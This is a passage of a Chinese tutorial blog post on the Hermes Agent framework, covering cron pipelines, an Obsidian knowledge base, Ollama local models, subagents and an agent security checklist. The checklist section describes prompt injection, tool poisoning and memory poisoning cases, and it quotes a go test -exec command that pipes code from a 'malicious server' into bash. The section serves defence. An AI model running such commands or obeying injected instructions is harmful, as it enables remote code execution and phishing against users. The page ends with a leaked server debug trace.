  • • 第一次配置提示词调了 3 轮才满意。不是"配好就不用管了"的——需要迭代

多阶段流水线

如果一次搜索不够深入,用 context_from 做多阶段流水线:

阶段
时间
做什么
采集
7:00
搜索多个源,输出编号列表
筛选
7:30
按价值评分 1-10,只保留 ≥ 7 的
成稿
8:00
写简报,推送到微信
/cron add "0 7 * * *" "搜索过去24小时..." --name collector --deliver local/cron add "30 7 * * *" "按价值评分..." --name triage --context-from collector --deliver local/cron add "0 8 * * *" "写简报..." --name briefing --context-from triage --deliver weixin

三层流水线的好处:每一层聚焦一个任务,采集层不管筛选,简报层不管搜索。单个 Agent 的上下文窗口只装当前阶段需要的信息,不容易"想太多"。

公众号自动化 3 条 Cron

hermes cron create "0 9 * * *" "搜索今天的 AI 热点,写一篇评测文章,发布到网站"hermes cron create "0 10 * * *" "把最新文章转成公众号格式推送" --deliver weixinhermes cron create "0 8 * * *" "采集服务器负载、网站访问量、各站健康状态,生成日报发到我微信"

Hermes 能做什么、不能做什么

能:

能力
最有价值的使用方式
浏览器自动化
操作没有 API 的网站
定时任务(Cron)
每日简报、定时提醒
MCP 连接数据库
查询/更新数据,不写 SQL
Skills 系统
可复用的工作流说明书
记忆系统
Agent 越用越懂你
微信推送
结果送到手机上

不能(还不行):

限制
说明
长流程复杂编排
超过 5 步的流程容易偏
需要人工判断的场景
判断力受限于模型能力
高频实时交互
不适合秒级响应
生产级稳定性
Cron 偶发崩溃仍需关注

Hermes 是最好的实习生,不是 CEO。给它明确的任务 + 明确的验收标准 + 明确的交付物,它干得很好。但别指望它自己知道什么该做什么不该做。

八、Obsidian 知识库:搭建你的 AI 知识管理系统

Hermes 内置了 llm-wiki skill,可以把任何 Markdown 文件夹变成 AI 可读、可写、可维护的知识库。

三层架构

raw/              # 原始素材,只追加不改写  ↓wiki/             # AI 编译的结构化笔记  ↑SCHEMA.md         # 规则文件,告诉 AI 怎么写

Karpathy 原话:Obsidian 是 IDE,LLM 是程序员,wiki 是代码库。

初始化

mkdir ~/my-wiki

在 Hermes 中激活:

使用 llm-wiki 技能,在 ~/my-wiki 初始化我的知识库

生成的结构:

my-wiki/├── SCHEMA.md              # 知识库宪法├── index.md               # 全库入口├── log.md                 # 变更日志├── raw/                   # 原始素材区├── wiki/                  # 结构化知识│   ├── entities/          # 实体页│   ├── concepts/          # 概念页│   ├── comparisons/│   └── queries/

触发词控制

我的知识库目录是 ~/my-wiki。请遵守以下规则:1. 只有当我明确说出「写入知识库」时,才添加内容2. 只有当我明确说出「结合知识库」时,才检索知识库3. 其他时候正常对话,不碰知识库

三种操作

整个知识库的操作只有三种:摄入(Ingest)、查询(Query)、维护(Lint)。

摄入——把新信息加入知识库:

收录一下这篇文章:https://example.com/ai-agent-architecture收录一下 raw/articles/ai-agent-architecture.md

AI 自动读取内容 → 按 SCHEMA.md 的规范拆解 → 提取关键概念 → 建立交叉引用 → 写入 wiki/ 目录。

查询——用自然语言从知识库中找信息:

结合知识库,我之前存过哪些关于小红书爆款标题的分析?

AI 搜索 wiki/ 目录 → 找到相关页面 → 结合当前问题回答 → 附带来源链接。

维护——定期体检保持知识库健康:

hermes cron create --name="知识库体检" --schedule="0 20 * * 0" \  --prompt="检查我的知识库健康状况,输出问题清单和建议修复方案" \  --deliver weixin

体检内容包括:孤立页面(没有链接指向的)、过期内容(超过 6 个月未更新的)、标签异常(未注册标签)、结构偏离(不遵守 SCHEMA.md 的)。

触发词控制

给 AI 划边界非常重要。如果不加控制,Agent 可能在你说"今天天气怎么样"的时候去翻知识库找天气记录。设置触发词:

我的知识库目录是 ~/my-wiki。请遵守以下规则:1. 只有当我明确说出「写入知识库」时,才将内容添加到知识库中2. 只有当我明确说出「结合知识库」时,才先检索知识库再回答我的问题3. 其他时候正常对话,不碰知识库

SCHEMA.md 核心规则

知识库的宪法文件。刚初始化时有一段默认的,建议根据自己的使用习惯修改:

命名规范:实体页用 PascalCase(如 AgenticRAG),概念页用中文全称(如提示词工程),来源摘要用 YYYY-MM-DD-简短标题

页面结构:每页必须包含 frontmatter(title、created、tags、status)、一句话结论、关键要点、交叉引用、来源链接。

标签规则:按用途打标而非按主题。每页最多 3 个标签。新标签必须先注册到 tags.md。

生命周期:draft → active → frozen → archived。draft 是刚创建的,active 是最新有效的,frozen 是 6 个月未更新的,archived 是已过时的。

权限边界:raw/ 目录 AI 只能读取不能改写。wiki/ 目录 AI 可读写。不确定的信息必须标注「待核验」。

从 3-5 条核心规则开始,跑熟了再补充。规则太复杂 Agent 反而容易偏离。

九、Ollama 本地模型:免费、私有、离线可用

硬件速查

显存
推荐模型
体验
8GB
Qwen3.5-9B(4-bit 量化)
日常对话够用
12-16GB
Qwen3.5-14B
中文推理明显更好
24GB
Qwen3.6-27B / DeepSeek-R1 蒸馏版
接近云端体验
无 GPU
4-bit 量化小模型
慢但能用

Hermes 连接 Ollama

# 模型下载ollama pull qwen3.5:9b# 修复上下文不足(默认 4096 不够 Hermes 用)OLLAMA_CONTEXT_LENGTH=65536 ollama serve

在 hermes setup 中选择 Custom endpoint:

  • • Base URL:http://127.0.0.1:11434/v1
  • • API Key:任意字符串(Ollama 不需要认证)
  • • Model:qwen3.5:9b(你 pull 的模型名)

先确认 Ollama 正在运行:

curl http://localhost:11434/v1/models

验证环节让人 Hermes 说一句 "帮我看一下当前目录下有哪些文件,解释一下这个项目是做什么的"。预期耗时不超过 5 分钟。

上下文修复

Ollama 默认上下文只有 4096 Token,远低于 Hermes 需要的 64K。两种修复方式:

# 方式一:环境变量(立即生效)OLLAMA_CONTEXT_LENGTH=65536 ollama serve# 方式二:Modelfile(持久化)echo -e "FROM qwen3.5:9b\nPARAMETER num_ctx 65536" > Modelfileollama create qwen3.5-64k -f Modelfile

提供商容灾链

本地模型崩了自动切云端 DeepSeek:

# ~/.hermes/config.yamlfallback_providers:  - provider: deepseek    model: deepseek-v4-flash

多模型即时切换

/model qwen3.5:14b    # 换到更大模型做复杂推理/model qwen3.5:9b     # 日常对话用轻量模型

注意:/model 不能新增 Provider。如果要加新模型提供商,退出会话后用 hermes model

中文优化

在 SOUL.md 中强化指令:始终使用流畅地道的中文,避免翻译腔,技术术语保留英文原词。

主模型 + 辅助模型分工

# ~/.hermes/config.yamlmodel:  provider: deepseek  default: deepseek-v4-proauxiliary:  compression:    provider: ollama    model: qwen3.5:9b    timeout: 120  web_extract:    provider: ollama    model: qwen3.5:9b    timeout: 360

主模型做推理决策,本地模型做压缩和提取。既省钱又保证质量。

离线策略三件套

  1. 1. 预加载模型文件:在有网时提前 ollama pull qwen3.5:9b
  2. 2. 禁用自动更新:Docker 启动参数不加 --pull always
  3. 3. 本地沙箱:Hermes 配置本地沙箱执行代码,不依赖外部网络

开机自启动

WSL2 用 tmux 保持前台进程(比 systemd 稳定):

tmux new -s hermes 'hermes gateway run'tmux attach -t hermes   # 重连

Docker 方案自带 restart always。

Docker Compose 一键部署

services:  ollama:    image: ollama/ollama:latest    volumes:      - ./ollama-models:/root/.ollama    ports:      - "11434:11434"  hermes:    image: nousresearch/hermes-agent:latest    ports:      - "7860:7860"    environment:      - OPENAI_BASE_URL=http://ollama:11434/v1      - OPENAI_API_KEY=ollama    depends_on:      - ollama

可选前端:

  open-webui:    image: ghcr.io/open-webui/open-webui:main    ports:      - "3000:8080"    environment:      - OPENAI_BASE_URL=http://hermes:8642/v1

本地模型实操任务

任务 1:本地文件分析。让本地模型帮你扫描项目结构、分析技术栈,数据不出本机。

帮我看一下这个项目。总结它的技术栈、目录结构、关键的逻辑流程。

任务 2:定时自动化。适合有 GPU 的机器,每天定时报告项目变更。

hermes cron create --name="每日本地摘要" --schedule="0 8 * * *" \  --prompt="扫描当前项目的变更文件,生成摘要报告" \  --deliver weixin

十、Agent 安全必知清单:10 项防护

8 类攻击向量

越狱——让模型突破自身的安全约束,泄露系统提示或执行违规行为。

提示注入——通过外部数据中的隐藏指令操纵 Agent。目前最广泛、危害最大的攻击类型,OWASP 把它排在 LLM 应用十大漏洞的榜首。

工具投毒——在给 Agent 的工具(Skill、Plugin、MCP Server)的描述中嵌入恶意指令。UI 只展示工具名和简化参数,用户看不到完整描述——但 AI 模型会一字不落地读取并执行。

MCP Rug Pull——先发布干净的服务器,在用户大量采用后悄悄更新加入恶意代码。与 Python 包的供应链攻击本质完全一样。

数据投毒 / 记忆投毒——污染 Agent 依赖的外部数据或长期记忆。污染一次,持续生效。

凭证窃取——通过恶意工具提取 Agent 使用的密钥或 Token。通常寄生在工具投毒中。

供应链攻击——依赖项或插件被注入后门。防御方法只有一条:及时更新依赖,审查每个来源。

MCP Shadow 攻击——仅连接一个 MCP 服务器,不需要调用它的任何工具,就已经扩大了攻击面。MCP 服务器与 Agent 的连接是双向的,恶意服务器可以在连接阶段注入系统描述,通过 Shadow 攻击劫持其他可信服务器的行为。

核心原则只有一条:Zero Trust——默认不相信任何东西。 不是先相信再验证,是默认不信,每一层都要自证安全。

几个真实攻击案例更能说明问题严重性。

案例一:Trail of Bits 发现的提示注入→RCE 攻击链。go test 有一个 -exec 参数可以指定运行测试的可执行程序。在攻击者构造的提示下,Agent 被引导执行 go test -exec 'bash -c "curl 恶意服务器 | bash"'。因为 go test 本身在安全命令列表中,整个攻击完全不需要人工审批。更隐晦的变种:用 git show --format=hex --output=file 写入恶意文件,再用 rg --pre bash 执行。两个命令都在安全列表中,组合起来就是一条完整的 RCE 链路。

案例二:腾讯云对 MCP 协议层的深度分析发现 Context Poisoning(上下文污染)的结构性漏洞。当多个工具的描述同时注入 Agent 上下文时,恶意工具可以修改 Agent 对其他工具的理解。更隐蔽的是寄生工具链——工具 A 的输出作为工具 B 的输入,中间加入恶意转换步骤,可以完全改变执行结果。

案例三:银行的 0.02 元攻击案。攻击者向目标用户转 0.02 元,备注嵌入注入指令。用户正常查账,Agent 读取交易记录,指令进入 LLM 上下文。Agent 被操纵,在官方界面生成钓鱼信息。

🔴 5 项必做

  1. 1. API 密钥安全存放。 放入 .env 文件,不硬编码,不推送 GitHub。Agent 只能读到它该读的密钥,不要把家底全扔一个文件里让它随便访问
  2. 2. 锁定消息渠道。 微信、飞书、Discord 开启身份验证,不让无关人员对话你的 Agent。开放渠道是提示注入最直接的入口——如果有人能给你的 Agent 发消息,他就能尝试越狱它
  3. 3. 审查每个工具源代码。 连接 MCP 服务器、Skill、Plugin 之前,阅读它的源代码,确认没有隐藏指令。UI 只展示工具名称,AI 模型看到的是完整描述——恶意指令就藏在这个描述里
  4. 4. Agent 最小权限。 不给 Agent 用不上的权限。能给只读就别给读写,能给一个文件就别给整个目录
  5. 5. 极端敏感信息隔离。 禁止连接能访问银行数据、密钥管理、核心凭证的 MCP 服务器。这条没有例外

🟡 4 项建议

  1. 6. 固定每个 MCP 服务器的版本号和校验和
  2. 7. 多服务器场景实施结构边界和数据流隔离
  3. 8. 定期检查 memory.md 和 user.md 中是否有异常内容
  4. 9. 及时更新所有依赖

🟢 1 项加分

  1. 10. 善用子 Agent 隔离——独立上下文窗口和记忆文件,攻破一个不影响其他

十一、子代理与多代理协作:给 Agent 开分身

子代理是什么

主 Agent 是项目经理,负责拆任务、派活、汇总结果。子代理是专业执行人员,每个人只做一件事,做完就走,不占会议室。Hermes 最多同时开 3 个子代理并行干活,各自有独立上下文窗口,用完即焚。

用 LangChain 的四种多 Agent 模式对比框架来看,子代理只是其中一种:

模式
适用场景
特点
子代理
多领域任务,可并行
集中编排,上下文隔离
技能
单 Agent 多能力
轻量组合,无需新进程
交接
顺序流转工作流
有状态,Agent 换手
路由
多源并查汇总
无状态,并行分发

子代理适合多领域任务并行处理。如果只是让一个 Agent 做多件事,用技能(Skill)就够了,不需要开子进程。

委托 vs 看板

子代理有两种工作模式,选择取决于你的任务类型。

委托任务(Delegation)的本质是一次 RPC 调用——主 Agent 派一个任务出去,等着结果回来。类似你叫个外卖,等外卖到了你才开始吃。这种方式优点是简单直接,缺点是主 Agent 会阻塞等待,且子代理一旦崩溃任务就丢了。

看板(Kanban)的本质是一个持久消息队列——把任务丢到板上,谁有空谁拿去做。Agent 崩溃了重启后看板还在,任务永远不会丢。看板任务有完整的生命周期状态机:Triage(分诊)→ To Do → Ready → In Progress → Blocked → Done。对应的工具有 kanban_show、kanban_complete、kanban_block、kanban_heartbeat。

四种多 Agent 模式

模式
适用场景
特点
子代理
多领域任务,可并行
集中编排,上下文隔离
技能
单 Agent 多能力
轻量组合,无需新进程
交接
顺序流转工作流
有状态,Agent 换手
路由
多源并查汇总
无状态,并行分发

委托 vs 看板

维度
委托任务
看板
本质
RPC 调用
持久消息队列
主 Agent 阻塞?
等结果
不阻塞
生命周期
用完即焚
持久化
失败处理
无恢复
崩溃可重试
审计
压缩即丢
永远持久
人工参与
不支持
支持拖拽干预

一次性调用用委托,持续工作流用看板。

实战命令

同时搜索比特币的最新价格走势和 A 股今天的资金流向,使用子代理
创建一个看板,帮我管理每周研究任务。每天早上 9 点和晚上 9 点自动检查。

看板任务的每个 worker 可以分配不同的模型——研究代理用 DeepSeek,编码代理用 GLM,写作用便宜的小模型。


全篇回顾:从概念到自动化,11 章都做了什么

第一章我们从最底层搞清了 Agent 不是聊天框,是有 Harness、有工具链、有记忆管理的执行体。第二章动手装了一个能跑的 Hermes,从一键命令到 LLM 配置到验证命令,全都走了一遍。第三章摸清了命令骨架和会话管理——不管理会话,Token 从几分钱烧到几十块。第四章深入 Skills 系统,明白了 Skill 就是写给 Agent 的说明书,装 80 个预装技能不如自己写一个。第五章让 Agent 记住了你是谁——user.md、memory.md、soul.md,三个文件决定了它懂不懂你。第六章有了手和眼——浏览器自动化、MCP 数据库连接,Agent 不再是话匣子。第七章让 Hermes 上班了——一句自然语言创建 Cron 定时任务,每天自动干活。第八章到第十一章是进阶工具箱:Obsidian 知识库、Ollama 本地模型、安全防护清单、子代理多代理协作。

回看这 11 章,最关键的认知转变只有一个:Agent 和 Chatbot 是两种东西。

Chatbot 等你问问题,Agent 替你执行任务。11 章之前我以为自己在学一个更好的 ChatGPT,11 章之后我发现自己在训练一个能独立干活的人。

能做什么、不能做什么

能:

能力
最有价值的使用方式
浏览器自动化
操作没有 API 的网站、读取登录态页面
定时任务(Cron)
每日简报、定时提醒、周期性检查
MCP 连接数据库
查询/更新数据,不写 SQL
Skills 系统
可复用的工作流说明书
记忆系统
Agent 越用越懂你
微信推送
结果送到手机上

不能(还不行):

限制
说明
长流程复杂编排
超过 5 步的流程容易跑偏
需要人工判断的场景
判断力受限于模型能力
高频实时交互
不适合秒级响应
生产级稳定性
Cron 偶发崩溃、交付丢消息仍需关注

一句话总结:Hermes 是最好的实习生,不是 CEO。 给它明确的任务 + 明确的验收标准 + 明确的交付物,它干得很好。但别指望它自己知道什么该做什么不该做。


如果你对这门 Arnold Oberleiter 的《Hermes Agent: Build a Self-Improving AI Agent》课程感兴趣,留言「课程」,我会把相关笔记 + 配套课件打包私信发你。

觉得有用的话,点个关注+赞再走~我是专注AI自动化的启明,咱们下一篇接着聊

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-07-22 13:28:20 HTTP/1.1 GET : https://www.yeyulingfeng.com/a/870495.html
  2. 运行时间 : 0.131664s [ 吞吐率:7.60req/s ] 内存消耗:4,968.73kb 文件加载:145
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=bf4f9ce97e88318f6ee6451cd61cc2a0
  1. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/autoload_static.php ( 6.05 KB )
  7. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/ralouphie/getallheaders/src/getallheaders.php ( 1.60 KB )
  10. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  11. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  12. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  13. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  14. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  15. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  16. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  17. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  18. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  19. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/guzzlehttp/guzzle/src/functions_include.php ( 0.16 KB )
  21. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/guzzlehttp/guzzle/src/functions.php ( 5.54 KB )
  22. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  23. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  24. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  25. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/provider.php ( 0.19 KB )
  26. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  27. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  28. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  29. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/common.php ( 0.03 KB )
  30. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  32. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/alipay.php ( 3.59 KB )
  33. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  34. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/app.php ( 0.95 KB )
  35. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/cache.php ( 0.78 KB )
  36. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/console.php ( 0.23 KB )
  37. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/cookie.php ( 0.56 KB )
  38. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/database.php ( 2.48 KB )
  39. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/filesystem.php ( 0.61 KB )
  40. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/lang.php ( 0.91 KB )
  41. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/log.php ( 1.35 KB )
  42. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/middleware.php ( 0.19 KB )
  43. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/route.php ( 1.89 KB )
  44. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/session.php ( 0.57 KB )
  45. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/trace.php ( 0.34 KB )
  46. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/view.php ( 0.82 KB )
  47. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/event.php ( 0.25 KB )
  48. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  49. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/service.php ( 0.13 KB )
  50. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/AppService.php ( 0.26 KB )
  51. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  52. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  53. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  54. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  55. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  56. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/services.php ( 0.14 KB )
  57. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  58. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  59. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  60. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  61. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  62. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  63. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  64. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  65. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  66. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  67. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  68. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  69. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  70. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  71. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  72. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  73. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  74. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  75. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  76. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  77. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  78. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  79. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  80. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  81. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  82. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  83. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  84. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  85. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  86. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  87. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/Request.php ( 0.09 KB )
  88. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  89. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/middleware.php ( 0.25 KB )
  90. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  91. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  92. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  93. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  94. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  95. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  96. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  97. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  98. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  99. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  100. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  101. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  102. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  103. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/route/app.php ( 3.94 KB )
  104. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  105. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  106. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/controller/Index.php ( 9.87 KB )
  108. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/BaseController.php ( 2.05 KB )
